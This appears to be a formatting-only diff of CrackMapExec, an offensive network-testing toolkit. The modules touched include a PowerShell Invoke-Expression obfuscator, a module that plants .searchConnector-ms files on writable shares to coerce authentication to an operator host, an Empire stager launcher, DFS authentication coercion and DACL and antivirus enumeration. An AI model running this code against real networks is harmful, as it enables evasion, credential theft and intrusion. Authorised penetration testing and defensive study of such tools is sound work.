'"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var + choice(["", " "]) + ")" + choice(["", " "]) + '"' + choice(["", " "]) + "+" + choice(["", " "]) + str_str + choice(baseScriptArray) + choice(["", " "]) + "+" + '"' + choice(["", " "]) + "$(" + choice(["", " "]) + set_ofs_var_back + choice(["", " "]) + ")" + choice(["", " "]) + '"',
]
# Randomly select one of the above commands.
@ -545,38 +384,12 @@ def invoke_obfuscation(script_string):
# These methods draw on common environment variable values and PowerShell Automatic Variable
# values/methods/members/properties/etc.
invocationOperator = choice([".", "&"]) + choice(["", " "])
invoke_expression_syntax.append(
invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')"
)
invoke_expression_syntax.append(
invocationOperator
+ "( $PSHome["
+ choice(["4", "21"])
+ "]+$PSHOME["
+ choice(["30", "34"])
+ "]+'x')"
)
invoke_expression_syntax.append(
invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')"
)
invoke_expression_syntax.append(
invocationOperator
+ "( $env:ComSpec[4,"
+ choice(["15", "24", "26"])
+ ",25]-Join'')"
)
invoke_expression_syntax.append(
invocationOperator
+ "(("
+ choice(["Get-Variable", "GV", "Variable"])
+ " '*mdr*').Name[3,11,2]-Join'')"
)
invoke_expression_syntax.append(
invocationOperator
+ "( "
+ choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"])
+ "[1,3]+'x'-Join'')"
)
invoke_expression_syntax.append(invocationOperator + "( $ShellId[1]+$ShellId[13]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $PSHome[" + choice(["4", "21"]) + "]+$PSHOME[" + choice(["30", "34"]) + "]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:Public[13]+$env:Public[5]+'x')")
invoke_expression_syntax.append(invocationOperator + "( $env:ComSpec[4," + choice(["15", "24", "26"]) + ",25]-Join'')")
invoke_expression_syntax.append(invocationOperator + "((" + choice(["Get-Variable", "GV", "Variable"]) + " '*mdr*').Name[3,11,2]-Join'')")
invoke_expression_syntax.append(invocationOperator + "( " + choice(["$VerbosePreference.ToString()", "([String]$VerbosePreference)"]) + "[1,3]+'x'-Join'')")
# Randomly choose from above invoke operation syntaxes.
invokeExpression = choice(invoke_expression_syntax)
@ -586,21 +399,8 @@ def invoke_obfuscation(script_string):
# Choose random Invoke-Expression/IEX syntax and ordering: IEX ($ScriptString) or ($ScriptString | IEX)
invokeOptions = [
choice(["", " "])
+ invokeExpression
+ choice(["", " "])
+ "("
+ choice(["", " "])
+ newScript
+ choice(["", " "])
+ ")"
+ choice(["", " "]),
choice(["", " "])
+ newScript
+ choice(["", " "])
+ "|"
+ choice(["", " "])
+ invokeExpression,
choice(["", " "]) + invokeExpression + choice(["", " "]) + "(" + choice(["", " "]) + newScript + choice(["", " "]) + ")" + choice(["", " "]),
choice(["", " "]) + newScript + choice(["", " "]) + "|" + choice(["", " "]) + invokeExpression,
]
obfuscated_payload = choice(invokeOptions)

View File

@ -42,9 +42,7 @@ class ModuleLoader:
self.logger.fail(f"{module_path} missing the options function")
module_error = True
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
self.logger.fail(
f"{module_path} missing the on_login/on_admin_login function(s)"
)
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
# elif not hasattr(module, 'chain_support'):
# self.logger.fail('{} missing the chain_support variable'.format(module_path))
@ -80,13 +78,9 @@ class ModuleLoader:
self.logger.debug(f"Protocol: {self.args.protocol}")
if self.args.protocol in module.supported_protocols:
try:
module_logger = CMEAdapter(
extra={"module_name": module.name.upper()}
)
module_logger = CMEAdapter(extra={"module_name": module.name.upper()})
except Exception as e:
self.logger.fail(
f"Error loading CMEAdaptor for module {module.name.upper()}: {e}"
)
self.logger.fail(f"Error loading CMEAdaptor for module {module.name.upper()}: {e}")
context = Context(self.db, module_logger, self.args)
module_options = {}
@ -97,9 +91,7 @@ class ModuleLoader:
module.options(context, module_options)
return module
else:
self.logger.fail(
f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}"
)
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
sys.exit(1)
def get_module_info(self, module_path):

View File

@ -55,11 +55,7 @@ class CMEAdapter(logging.LoggerAdapter):
)
# If the logger is being called from CMEServer
if (
len(self.extra) == 2
and ("module_name" in self.extra.keys())
and ("host" in self.extra.keys())
):
if len(self.extra) == 2 and ("module_name" in self.extra.keys()) and ("host" in self.extra.keys()):
return (
f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}",
kwargs,
@ -86,9 +82,7 @@ class CMEAdapter(logging.LoggerAdapter):
except AttributeError:
pass
msg, kwargs = self.format(
f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs
)
msg, kwargs = self.format(f"{colored('[*]', 'blue', attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
cme_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@ -103,9 +97,7 @@ class CMEAdapter(logging.LoggerAdapter):
except AttributeError:
pass
msg, kwargs = self.format(
f"{colored('[+]', 'green', attrs=['bold'])} {msg}", kwargs
)
msg, kwargs = self.format(f"{colored('[+]', 'green', attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
cme_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@ -134,9 +126,7 @@ class CMEAdapter(logging.LoggerAdapter):
return
except AttributeError:
pass
msg, kwargs = self.format(
f"{colored('[-]', 'red', attrs=['bold'])} {msg}", kwargs
)
msg, kwargs = self.format(f"{colored('[-]', 'red', attrs=['bold'])} {msg}", kwargs)
text = Text.from_ansi(msg)
cme_console.print(text, *args, **kwargs)
self.log_console_to_file(text, *args, **kwargs)
@ -168,9 +158,7 @@ class CMEAdapter(logging.LoggerAdapter):
self.logger.info(text)
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter(
"%(asctime)s - %(levelname)s - %(message)s"
)
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
@ -182,15 +170,9 @@ class CMEAdapter(logging.LoggerAdapter):
with file_handler._open() as f:
if file_creation:
f.write(
"[%s]> %s\n\n"
% (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv))
)
f.write("[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
else:
f.write(
"\n[%s]> %s\n\n"
% (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv))
)
f.write("\n[%s]> %s\n\n" % (datetime.now().strftime("%d-%m-%Y %H:%M:%S"), " ".join(sys.argv)))
file_handler.setFormatter(file_formatter)
self.logger.addHandler(file_handler)

View File

@ -13,9 +13,7 @@ from impacket.dcerpc.v5.dcomrt import IObjectExporter
class CMEModule:
name = "ioxidresolver"
description = (
"Thie module helps you to identify hosts that have additional active interfaces"
)
description = "Thie module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False

View File

@ -29,6 +29,4 @@ class CMEModule:
searchFilter = "(objectClass=*)"
attributes = ["ms-DS-MachineAccountQuota"]
result = connection.search(searchFilter, attributes)
context.log.highlight(
"MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0]
)
context.log.highlight("MachineAccountQuota: %d" % result[0]["attributes"][0]["vals"][0])

View File

@ -45,9 +45,7 @@ class CMEModule:
search_filter = f"(distinguishedName=CN={self.server},CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,"
self.context.log.highlight("Using PKI CN: {}".format(self.server))
context.log.display(
"Starting LDAP search with search filter '{}'".format(search_filter)
)
context.log.display("Starting LDAP search with search filter '{}'".format(search_filter))
try:
sc = ldap.SimplePagedResultsControl()
@ -101,22 +99,14 @@ class CMEModule:
urls.append(match.group(1))
except Exception as e:
entry = host_name or "item"
self.context.log.fail(
"Skipping {}, cannot process LDAP entry due to error: '{}'".format(
entry, str(e)
)
)
self.context.log.fail("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
if host_name:
self.context.log.highlight(
"Found PKI Enrollment Server: {}".format(host_name)
)
self.context.log.highlight("Found PKI Enrollment Server: {}".format(host_name))
if cn:
self.context.log.highlight("Found CN: {}".format(cn))
for url in urls:
self.context.log.highlight(
"Found PKI Enrollment WebService: {}".format(url)
)
self.context.log.highlight("Found PKI Enrollment WebService: {}".format(url))
def process_templates(self, item):
"""
@ -136,9 +126,7 @@ class CMEModule:
templates.append(template_name)
except Exception as e:
entry = template_name or "item"
self.context.log.fail(
f"Skipping {entry}, cannot process LDAP entry due to error: '{e}'"
)
self.context.log.fail(f"Skipping {entry}, cannot process LDAP entry due to error: '{e}'")
if templates:
for t in templates:

View File

@ -60,19 +60,12 @@ class CMEModule:
context.log.debug(f"User: {self.neo4j_user}, Password: {self.neo4j_pass}")
try:
driver = GraphDatabase.driver(
uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False
)
driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass), encrypted=False)
except AuthError:
context.log.fail(
f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are"
" not valid. See --options"
)
context.log.fail(f"Provided Neo4J credentials ({self.neo4j_user}:{self.neo4j_pass}) are" " not valid. See --options")
sys.exit()
except ServiceUnavailable:
context.log.fail(
f"Neo4J does not seem to be available on {uri}. See --options"
)
context.log.fail(f"Neo4J does not seem to be available on {uri}. See --options")
sys.exit()
except Exception as e:
context.log.fail("Unexpected error with Neo4J")
@ -81,22 +74,14 @@ class CMEModule:
with driver.session() as session:
with session.begin_transaction() as tx:
result = tx.run(
f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN'
" c.name AS name"
)
result = tx.run(f'MATCH (c:Computer {{name:"{host_fqdn}"}}) SET c.owned=True RETURN' " c.name AS name")
record = result.single()
try:
value = record.value()
except AttributeError:
value = []
if len(value) > 0:
context.log.success(
f"Node {host_fqdn} successfully set as owned in BloodHound"
)
context.log.success(f"Node {host_fqdn} successfully set as owned in BloodHound")
else:
context.log.fail(
f"Node {host_fqdn} does not appear to be in Neo4J database. Have you"
" imported the correct data?"
)
context.log.fail(f"Node {host_fqdn} does not appear to be in Neo4J database. Have you" " imported the correct data?")
driver.close()

View File

@ -122,12 +122,8 @@ class ACE_FLAGS(Enum):
# Since these two flags are the same for Allowed and Denied access, the same class will be used from 'ldaptypes'
# https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-access_allowed_object_ace
class OBJECT_ACE_FLAGS(Enum):
ACE_OBJECT_TYPE_PRESENT = (
ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
)
ACE_INHERITED_OBJECT_TYPE_PRESENT = (
ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT
)
ACE_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
ACE_INHERITED_OBJECT_TYPE_PRESENT = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT
# Access Mask enum
@ -223,9 +219,7 @@ class CMEModule:
self.context = context
if not module_options:
context.log.fail(
"Select an option, example: -M daclread -o TARGET=Administrator ACTION=read"
)
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
exit(1)
if module_options and "TARGET" in module_options:
@ -274,9 +268,7 @@ class CMEModule:
On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified
"""
context.log.highlight(
"Be carefull, this module cannot read the DACLS recursively."
)
context.log.highlight("Be carefull, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
@ -287,18 +279,17 @@ class CMEModule:
self.principal_sid = format_sid(
self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)"
% escape_filter_chars(_lookedup_principal),
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
attributes=["objectSid"],
)[0][1][0][1][0]
)
context.log.highlight(
"Found principal SID to filter on: %s" % self.principal_sid
)[0][
1
][0][
1
][0]
)
context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid)
except Exception as e:
context.log.fail(
"Principal SID not found in LDAP (%s)" % _lookedup_principal
)
context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal)
exit(1)
# Searching for the targets SID and their Security Decriptors
@ -309,19 +300,11 @@ class CMEModule:
self.search_target_principal_security_descriptor(context, connection)
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(
self.target_principal[1][0][1][0]
).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(
data=self.principal_raw_security_descriptor
)
context.log.highlight(
"Target principal found in LDAP (%s)" % self.target_principal[0]
)
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0])
except Exception as e:
context.log.fail(
"Target SID not found in LDAP (%s)" % self.target_sAMAccountName
)
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
exit(1)
if self.action == "read":
@ -336,27 +319,14 @@ class CMEModule:
try:
self.target_sAMAccountName = target.strip()
# Searching for target account with its security descriptor
self.search_target_principal_security_descriptor(
context, connection
)
self.search_target_principal_security_descriptor(context, connection)
# Extract security descriptor data
self.target_principal_dn = self.target_principal[0]
self.principal_raw_security_descriptor = str(
self.target_principal[1][0][1][0]
).encode("latin-1")
self.principal_security_descriptor = (
ldaptypes.SR_SECURITY_DESCRIPTOR(
data=self.principal_raw_security_descriptor
)
)
context.log.highlight(
"Target principal found in LDAP (%s)"
% self.target_sAMAccountName
)
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName)
except Exception as e:
context.log.fail(
"Target SID not found in LDAP (%s)" % self.target_sAMAccountName
)
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
continue
if self.action == "read":
@ -367,9 +337,7 @@ class CMEModule:
# Main read funtion
# Prints the parsed DACL
def read(self, context):
parsed_dacl = self.parse_dacl(
context, self.principal_security_descriptor["Dacl"]
)
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
self.print_parsed_dacl(context, parsed_dacl)
return
@ -377,9 +345,7 @@ class CMEModule:
# This function is called before any writing action (write, remove or restore)
def backup(self, context):
backup = {}
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode(
"latin-1"
)
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
backup["dn"] = str(self.target_principal_dn)
if not self.filename:
self.filename = "dacledit-%s-%s.bak" % (
@ -400,8 +366,7 @@ class CMEModule:
_lookedup_principal = self.target_sAMAccountName
target = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(sAMAccountName=%s)"
% escape_filter_chars(_lookedup_principal),
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
attributes=["nTSecurityDescriptor"],
searchControls=controls,
)
@ -416,10 +381,7 @@ class CMEModule:
try:
self.target_principal = target[0]
except Exception as e:
context.log.fail(
"Principal not found in LDAP (%s), probably an LDAP session issue."
% _lookedup_principal
)
context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal)
exit(0)
# Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
@ -452,12 +414,18 @@ class CMEModule:
searchBase=self.baseDN,
searchFilter="(objectSid=%s)" % sid,
attributes=["sAMAccountName"],
)[0][0]
)[
0
][0]
samname = self.ldap_session.search(
searchBase=self.baseDN,
searchFilter="(objectSid=%s)" % sid,
attributes=["sAMAccountName"],
)[0][1][0][1][0]
)[0][
1
][0][
1
][0]
return samname
except Exception as e:
context.log.debug("SID not found in LDAP: %s" % sid)
@ -516,8 +484,7 @@ class CMEModule:
ace["Ace"]["Mask"]["Mask"],
)
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical())
or "UNKNOWN",
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
@ -550,31 +517,23 @@ class CMEModule:
parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type
# Extracts the InheritedObjectType GUID values
if ace["Ace"]["InheritedObjectTypeLen"] != 0:
inh_obj_type = bin_to_string(
ace["Ace"]["InheritedObjectType"]
).lower()
inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
try:
parsed_ace["Inherited type (GUID)"] = "%s (%s)" % (
OBJECT_TYPES_GUID[inh_obj_type],
inh_obj_type,
)
except KeyError:
parsed_ace["Inherited type (GUID)"] = (
"UNKNOWN (%s)" % inh_obj_type
)
parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical())
or "UNKNOWN",
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
else:
# If the ACE is not an access allowed
context.log.debug(
"ACE Type (%s) unsupported for parsing yet, feel free to contribute"
% ace["TypeName"]
)
context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"])
parsed_ace = {}
parsed_ace["ACE type"] = ace["TypeName"]
_ace_flags = []
@ -582,9 +541,7 @@ class CMEModule:
if ace.hasFlag(FLAG.value):
_ace_flags.append(FLAG.name)
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
parsed_ace[
"DEBUG"
] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
return parsed_ace
# Prints a full DACL by printing each parsed ACE
@ -600,76 +557,38 @@ class CMEModule:
# Filter on specific rights
if self.rights is not None:
try:
if (self.rights == "FullControl") and (
self.rights not in parsed_ace["Access mask"]
):
if (self.rights == "FullControl") and (self.rights not in parsed_ace["Access mask"]):
print_ace = False
if (self.rights == "DCSync") and (
("Object type (GUID)" not in parsed_ace)
or (
RIGHTS_GUID.DS_Replication_Get_Changes_All.value
not in parsed_ace["Object type (GUID)"]
)
):
if (self.rights == "DCSync") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.DS_Replication_Get_Changes_All.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
if (self.rights == "WriteMembers") and (
("Object type (GUID)" not in parsed_ace)
or (
RIGHTS_GUID.WriteMembers.value
not in parsed_ace["Object type (GUID)"]
)
):
if (self.rights == "WriteMembers") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.WriteMembers.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
if (self.rights == "ResetPassword") and (
("Object type (GUID)" not in parsed_ace)
or (
RIGHTS_GUID.ResetPassword.value
not in parsed_ace["Object type (GUID)"]
)
):
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.fail(
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)"
% e
)
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
# Filter on specific right GUID
if self.rights_guid is not None:
try:
if ("Object type (GUID)" not in parsed_ace) or (
self.rights_guid not in parsed_ace["Object type (GUID)"]
):
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.fail(
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)"
% e
)
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
# Filter on ACE type
if self.ace_type == "allowed":
try:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and (
"ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]
):
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail(
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)"
% e
)
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and (
"ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]
):
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.fail(
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)"
% e
)
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
# Filter on trusted principal
if self.principal_sid is not None:
@ -677,10 +596,7 @@ class CMEModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.fail(
"Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)"
% e
)
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.print_parsed_ace(parsed_ace)
@ -691,9 +607,7 @@ class CMEModule:
def print_parsed_ace(self, parsed_ace):
elements_name = list(parsed_ace.keys())
for attribute in elements_name:
self.context.log.highlight(
" %-26s: %s" % (attribute, parsed_ace[attribute])
)
self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute]))
# Retrieves the GUIDs for the specified rights
def build_guids_for_rights(self):

View File

@ -38,9 +38,7 @@ class CMEModule:
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host
if not connection.kerberos
else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
)
@ -105,12 +103,8 @@ class NetrDfsAddRootResponse(NDRCALL):
class TriggerAuth:
def connect(
self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost
):
rpctransport = transport.DCERPCTransportFactory(
r"ncacn_np:%s[\PIPE\netdfs]" % target
)
def connect(self, username, password, domain, lmhash, nthash, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,

View File

@ -49,18 +49,13 @@ class CMEModule:
scfile = open(self.scfile_path, "w")
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write(
"<searchConnectorDescription"
' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">'
)
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
scfile.write("<templateInfo>")
scfile.write(
"<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>"
)
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
scfile.write("</templateInfo>")
scfile.write("<simpleLocation>")
scfile.write("<url>{}</url>".format(self.url))
@ -72,37 +67,19 @@ class CMEModule:
shares = connection.shares()
for share in shares:
context.log.debug(f"Share: {share}")
if "WRITE" in share["access"] and (
share["name"] == self.sharename
if self.sharename != ""
else share["name"] not in ["C$", "ADMIN$"]
):
if "WRITE" in share["access"] and (share["name"] == self.sharename if self.sharename != "" else share["name"] not in ["C$", "ADMIN$"]):
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.scfile_path, "rb") as scfile:
try:
connection.conn.putFile(
share["name"], self.file_path, scfile.read
)
context.log.success(
f"[OPSEC] Created {self.filename}.searchConnector-ms"
f" file on the {share['name']} share"
)
connection.conn.putFile(share["name"], self.file_path, scfile.read)
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
except Exception as e:
context.log.exception(e)
context.log.fail(
f"Error writing {self.filename}.searchConnector-ms file"
f" on the {share['name']} share: {e}"
)
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
else:
try:
connection.conn.deleteFile(share["name"], self.file_path)
context.log.success(
f"Deleted {self.filename}.searchConnector-ms file on the"
f" {share['name']} share"
)
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
except Exception as e:
context.log.fail(
f"[OPSEC] Error deleting {self.filename}.searchConnector-ms"
f" file on share {share['name']}: {e}"
)
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")

View File

@ -41,11 +41,7 @@ class CMEModule:
obfuscate = True if "OBFUSCATE" in module_options else False
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
default_obfuscation = "Token,All,1"
obfuscate_cmd = (
module_options["OBFUSCATE_CMD"]
if "OBFUSCATE_CMD" in module_options
else default_obfuscation
)
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
# Pull the host and port from the config file
@ -111,9 +107,7 @@ class CMEModule:
if "not found" in stager_response.json()["detail"]:
context.log.fail(f"Listener {module_options['LISTENER']} not found")
else:
context.log.fail(
f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}"
)
context.log.fail(f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}")
sys.exit(1)
context.log.debug(f"Response Code: {stager_response.status_code}")
@ -134,13 +128,9 @@ class CMEModule:
self.empire_launcher = download_response.text
if download_response.status_code == 200:
context.log.success(
f"Successfully generated launcher for listener '{module_options['LISTENER']}'"
)
context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
else:
context.log.fail(
f"Something went wrong when retrieving stager Powershell command"
)
context.log.fail(f"Something went wrong when retrieving stager Powershell command")
def on_admin_login(self, context, connection):
if self.empire_launcher:

View File

@ -33,16 +33,8 @@ class CMEModule:
def on_login(self, context, connection):
success = 0
results = {}
target = (
connection.host
if not connection.kerberos
else connection.hostname + "." + connection.domain
)
context.log.debug(
"Detecting installed services on {} using LsarLookupNames()...".format(
target
)
)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target))
try:
lsa = LsaLookupNames(
@ -62,9 +54,7 @@ class CMEModule:
for service in product["services"]:
try:
lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.display(
f"Detected installed service on {connection.host}: {product['name']} {service['description']}"
)
context.log.display(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
if product["name"] not in results:
results[product["name"]] = {"services": []}
results[product["name"]]["services"].append(service)
@ -74,18 +64,14 @@ class CMEModule:
except Exception as e:
context.log.fail(str(e))
context.log.display(
f"Detecting running processes on {connection.host} by enumerating pipes..."
)
context.log.display(f"Detecting running processes on {connection.host} by enumerating pipes...")
try:
for f in connection.conn.listPath("IPC$", "\\*"):
fl = f.get_longname()
for i, product in enumerate(conf["products"]):
for pipe in product["pipes"]:
if pathlib.PurePath(fl).match(pipe["name"]):
context.log.debug(
f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})"
)
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
if product["name"] not in results:
results[product["name"]] = {}
if "pipes" not in results[product["name"]]:
@ -168,9 +154,7 @@ class LsaLookupNames:
# Authenticate if specified
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(
self.username, self.password, self.domain, self.lmhash, self.nthash
)
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
@ -323,9 +307,7 @@ conf = {
},
{
"name": "Carbon Black App Control",
"services": [
{"name": "Parity", "description": "Carbon Black App Control Agent"}
],
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
"pipes": [],
},
{

View File

@ -33,9 +33,7 @@ class CMEModule:
def on_admin_login(self, context, connection):
if not self.domains:
domains = []
output = connection.wmi(
"Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns"
)
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
if output:
for result in output:
@ -72,8 +70,6 @@ class CMEModule:
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = "DNS-Enum-{}-{}.log".format(
